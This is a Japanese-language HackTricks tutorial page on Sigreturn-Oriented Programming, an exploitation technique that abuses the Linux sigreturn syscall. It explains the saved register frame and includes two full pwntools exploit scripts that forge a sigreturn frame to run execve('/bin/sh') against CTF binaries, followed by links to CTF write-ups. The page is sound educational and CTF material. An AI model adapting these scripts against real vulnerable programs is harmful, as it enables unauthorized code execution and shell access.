SROP - Sigreturn-Oriented Programming
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Sigreturn
は、主にシグナルハンドラの実行が完了した後のクリーンアップに使用される特別な syscall です。シグナルは、オペレーティングシステムによってプログラムに送信される中断で、通常は何らかの例外的な状況が発生したことを示します。プログラムがシグナルを受け取ると、シグナルを処理するために シグナルハンドラ という特別な関数を使用して、現在の作業を一時的に中断します。
シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように 以前の状態に戻る 必要があります。ここで sigreturn
が登場します。これは、プログラムが シグナルハンドラから戻る のを助け、シグナルハンドラによって使用されたスタックフレーム(関数呼び出しやローカル変数を格納するメモリのセクション)をクリーンアップすることでプログラムの状態を復元します。
興味深いのは、sigreturn
がプログラムの状態をどのように復元するかです:それは すべてのCPUのレジスタ値をスタックに保存することによって 行います。シグナルがもはやブロックされていないとき、sigreturn
はこれらの値をスタックからポップし、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックの現在のトップを指すスタックポインタレジスタ(RSP)が含まれます。
caution
ROPチェーンから sigreturn
syscall を呼び出し、スタックにロードしたいレジスタ値を追加する ことで、すべてのレジスタ値を 制御 し、したがって例えば execve
syscall を /bin/sh
で 呼び出す ことが可能です。
これは、他のRet2syscallを呼び出すためのパラメータを制御するのをはるかに簡単にする Ret2syscallの一種 であることに注意してください:
興味がある方のために、これは後で値を回復するためにスタックに保存される sigcontext構造体 です(図は こちら から):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
より良い説明のために、こちらも確認してください:
例
こちらに例があります では、ROPを介してsigneturnへの呼び出しが構築されており(rxaに値0xf
を入れる)、これはそこからの最終的なエクスプロイトです:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
ここでもこちらからのエクスプロイトを確認してください。バイナリはすでにsigreturn
を呼び出しているため、ROPを構築する必要はありません。
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
その他の例と参考文献
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- スタックに書き込むことを可能にし、その後**
sigreturn
**システムコールを呼び出すアセンブリバイナリ。sigreturn構造体を介してスタックにret2syscallを書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。 - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- スタックに書き込むことを可能にし、その後**
sigreturn
**システムコールを呼び出すアセンブリバイナリ。sigreturn構造体を介してスタックにret2syscallを書き込むことが可能です(バイナリには/bin/sh
という文字列があります)。 - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している
gets
関数を悪用したシンプルなバッファオーバーフローでret2syscallを実行します。ROPチェーンはgets
を再度呼び出すことで/bin/sh
を.bss
に書き込み、**alarm
**関数を悪用してeaxを0xf
に設定し、SROPを呼び出してシェルを実行します。 - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後
exit
を呼び出すことを可能にします。選択されたシステムコールはsigreturn
で、レジスタを設定し、eip
を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間をrwx
に設定するためにmemprotect
を実行します。フローに従って、プログラムは再びESPに読み込むことを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込まれ、実行されます。 - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROPは、シェルコードが配置された場所に実行権限(memprotect)を与えるために使用されます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。